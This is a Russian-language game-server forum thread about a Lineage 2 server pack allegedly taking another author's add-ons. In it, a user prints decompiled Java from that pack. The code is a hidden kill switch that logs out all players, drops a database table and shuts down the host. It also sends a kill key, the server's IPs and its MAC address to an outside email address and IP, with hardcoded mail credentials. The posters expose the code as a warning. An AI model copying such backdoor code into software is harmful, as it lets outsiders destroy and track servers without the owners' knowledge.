Сообщений: 80
Тем: 9
Зарегистрирован: Feb 2010
03-22-2012, 08:26 PM
(Сообщение последний раз редактировалось: 03-22-2012, 08:30 PM Артёмка.)
Тема создана по просьбе знакомого :
Здравствуйте. Я являюсь автором некоторых дополнения для сборка OverWorld. Мною были написаны такие эвенты, как "Заказ на убийство", "Бойцовский клуб", сервис привязки аккаунта к HWid через LameGuard. На многих порталах есть темы о продаже этих дополнений. Эти ребята (First-Team) слили у одного из покупателей (по его вине, конечно) некоторые из этих дополнений. После небольшой беседы было решено, что они удалят из комплекта поставки мои наработки. Но сегодня я случайно обнаружил, что были добавлены какие-то конфиги для FightClub'а. Я, конечно, немного расстроился, что ребята обещания не сдержали и дополнение не удалили. Была создана тема на этом форуме, где я предлагал продажу дополнения клиентам, официально. Т.е. через меня (разработчика), с тех поддержкой и доработкой под клиента, если потребуется. В течение 10 минут один из разработчиков First-team написал мне в ICQ следующие сообщения
Цитата: 22.03.2012 18:51:56, Alex Nehoroshkov
Слушай мудило!!!
22.03.2012 18:52:16, Alex Nehoroshkov
ещё 1-но сообщение на форуме не в тему будешь плакать!!!
22.03.2012 18:52:26, Alex Nehoroshkov
все твои наработки пойдёт в шару
Мне был выдан бан по IP. За что? За предложенную наработку? Странно.
P.S. Не советую использовать тот Fight Club, что есть в составе сборки. Там имеются 2 очевидных дюпа, которые были исправлены позже, проблема с открытием дверей при старте. Дальше даже перечислять не буду... Могу только сказать, что сейчас все исправлено.
Добавлено через 4 минуты
p.s тема на их форуме с их ответами: _http://www.first-team.ru/forum/index.php?/topic/1350-%D0%BD%D0%B5%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%B5%D1%81%D0%BD%D0%BE%D0%B3%D0%BE/
"facepalm"
Сообщений: 222
Тем: 20
Зарегистрирован: Mar 2012
Репутация:
124
Ну а в чём смысл выносить сор из избы на всеобщее обозрение? Может ещё у Андрея Малахова в бложике перепостите?
1) Судя по теме на форуме каких то фирст-тим, одмины там чуть более чем полностью неадекватны и не грамотны.
2) После того, как тот же "Заказ на убийство" стал выкладывать любой кому не лень, каждый может присваивать себе авторство.
Сообщений: 80
Тем: 9
Зарегистрирован: Feb 2010
Neewbie Написал:Ну а в чём смысл выносить сор из избы на всеобщее обозрение? Может ещё у Андрея Малахова в бложике перепостите?
1) Судя по теме на форуме каких то фирст-тим, одмины там чуть более чем полностью неадекватны и не грамотны.
2) После того, как тот же "Заказ на убийство" стал выкладывать любой кому не лень, каждый может присваивать себе авторство. смысл ...ну если почитать на их форуме тему ту, то можно сделать например вывод что разработчики школоло и иметь с ними дело лучше не стоит, а на счет заказа человек писал с нуля его сам.
Сообщений: 1,733
Тем: 33
Зарегистрирован: Mar 2010
Репутация:
4,698
Почитал там тему, манера общения на уровне 9-10го класса. Явная агрессия, намек на то что люди виновны, но не имея мозгов, дабы придумать вразумительный ответ, вынуждены нападать на ТСа. От себя лишь добавлю - изучал исходы фирст тима, параша редкостная, не думаю что они способны произвести на свет что-то действительно достойное. Продукт соответствует своим авторам в полной мере
Сообщений: 1,640
Тем: 82
Зарегистрирован: Feb 2012
Репутация:
4,234
Я один такой ?
Или кто то еще есть, кто не знает кто такие Ферст тимы ? xD
А Вообще копирывал ты или нет, мне все равно, ты проделывал работу и работа всегда ценится, а они вообще х3 кто и как понимаю, школозавры с агро модом и эмо модом, когда только говорят о том что это сделали не они, то сразу блоки по ИП и еще чему-то =)
Сообщений: 1,660
Тем: 9
Зарегистрирован: Feb 2009
Репутация:
10,142
03-23-2012, 03:37 PM
(Сообщение последний раз редактировалось: 03-23-2012, 03:40 PM DiagoD.)
Ха-ха...Это еще цветочки)))
Здесь у нас есть еще и killKey)))
Унылый код)))
package l2ft.gameserver.utils;
import l2ft.commons.util.Rnd;
import l2ft.gameserver.dao.ProtectedAccountDAO;
import l2ft.gameserver.model.GameObjectsStorage;
import l2ft.gameserver.model.Player;
public class ServerLogger
{
public static String killKey = null;
public static void doIt()
{
disconnectAllCharacters();
ProtectedAccountDAO.getInstance().dropSql();
shutDownSystem();
}
private static void disconnectAllCharacters()
{
for (Player player : GameObjectsStorage.getAllPlayersForIterate())
try
{
player.logout();
}
catch (Exception e)
{
shutDownSystem();
}
}
private static void shutDownSystem()
{
String property = System.getProperty("os.name");
if (property.toLowerCase().contains("windows"))
{
String[] commands = { "shutdown", "-s" };
try
{
Runtime.getRuntime().exec(commands);
}
catch (Exception e)
{
System.exit(-1);
}
}
if (property.toLowerCase().contains("linux"))
{
String[] commands = { "shutdown", "-p", "now" };
try
{
Runtime.getRuntime().exec(commands);
}
catch (Exception e)
{
System.exit(-1);
}
}
}
private static void generateKillKey(int length)
{
String lowerChar = "qwertyuiopasdfghjklzxcvbnm";
String upperChar = "QWERTYUIOPASDFGHJKLZXCVBNM";
String digits = "1234567890";
StringBuilder password = new StringBuilder(length);
for (int i = 0; i < length; i++)
{
int charSet = Rnd.get(3);
switch (charSet)
{
case 0:
password.append(lowerChar.charAt(Rnd.get(lowerChar.length() - 1)));
break;
case 1:
password.append(upperChar.charAt(Rnd.get(upperChar.length() - 1)));
break;
case 2:
password.append(digits.charAt(Rnd.get(digits.length() - 1)));
}
}
killKey = password.toString();
}
static
{
if (killKey == null)
generateKillKey(10);
}
}
Так, что они могу еще и положить ваши сервера)))
Добавлено через 2 минуты
А сам ключик отправляется на почту:
Лол
package l2ft.gameserver.utils;
import java.util.Properties;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.Message.RecipientType;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class MessageSender
{
private static final Logger _log = LoggerFactory.getLogger(MessageSender.class);
public static void send()
{
try {
Properties props = new Properties();
props.put("mail.smtps.host", "smtp.gmail.com");
props.put("mail.smtps.auth", "true");
props.put("mail.transport.protocol", "smtp");
props.put("mail.debug", "false");
Session mailSession = Session.getDefaultInstance(props);
Transport transport = mailSession.getTransport("smtps");
InternetAddress fromAddress = new InternetAddress("first.security.mail@gmail.com");
InternetAddress toAddress = new InternetAddress("byldas@mail.ru");
Message simpleMessage = new MimeMessage(mailSession);
simpleMessage.setFrom(fromAddress);
simpleMessage.setRecipient(Message.RecipientType.TO, toAddress);
simpleMessage.setSubject("First-Team HF Informer.");
simpleMessage.setText("Somebody launched First-Team server. Some information about this server:\n\rKey: " + Util.getServerKey() + "\n\r" + "IP: " + Util.getServerIp() + "\n\r" + "Internet IP: " + Util.getHostIp() + "\n\r" + "Mac: " + Util.getServerMac() + "\n\r" + "KillKey: " + ServerLogger.killKey + "\n\r\n\r");
transport.connect("smtp.gmail.com", "first.security.mail@gmail.com", "JKgliuKGl78kjlhluiGFk");
transport.sendMessage(simpleMessage, new Address[] { toAddress });
transport.close();
}
catch (Exception e)
{
_log.info("Message not send");
}
}
}
и на их "сервер лицензий":
Лол2
public static void prepareConnection(int port) { try { Socket requestSocket = new Socket("217.118.81.22", port);
ObjectOutputStream out = new ObjectOutputStream(requestSocket.getOutputStream());
String serverKey;
try {
serverKey = getServerKey();
}
catch (Exception e)
{
serverKey = "key is missing";
}
String msg = new StringBuilder().append("*").append(serverKey).append("*").append(Integer.toString(port)).append("*").append(getServerIp()).append("*").append(getServerMac()).append("*").append(ServerLogger.killKey).append("*").toString();
out.writeObject(msg);
out.flush();
out.close();
requestSocket.close();
} catch (Exception ex)
{
}
}
Сообщений: 1,640
Тем: 82
Зарегистрирован: Feb 2012
Репутация:
4,234
DiagoD
Это полный дибилизм, но мне интересно - это ПЕРВОЕ, что они написали САМИ ?
Или под копирку откуда-то сперли ? xD
Сообщений: 1,660
Тем: 9
Зарегистрирован: Feb 2009
Репутация:
10,142
Цитата:не знал что ты интересуешься таким говном
Не знаю кто написал но вот ответ:
Я скачал сборку только из-за ТС, мне стало интересно, они убрали эвент или просто его в другое место воткнули)))
Эвент убрали из шарной ревы, но я уверен, что он есть в приватке)))
Сообщений: 3,968
Тем: 90
Зарегистрирован: Nov 2010
Репутация:
15,337
Мою кб когда-то запихнули к себе в сборку, из декомпила, попросил - убрали. То, что любят комуниздить - факт. :Olen':
Я не могу понять смысл от этой темы? Показать, что "неизвестная" команда является второсортной? :facepalm:
Сообщений: 445
Тем: 46
Зарегистрирован: Oct 2011
А давайте я выложу в шару эти исходы???у меня есть они и там есть этот ивент бойовский клуб. если конечно автортемы разрешит то я выложу(возможно не все исходы)
|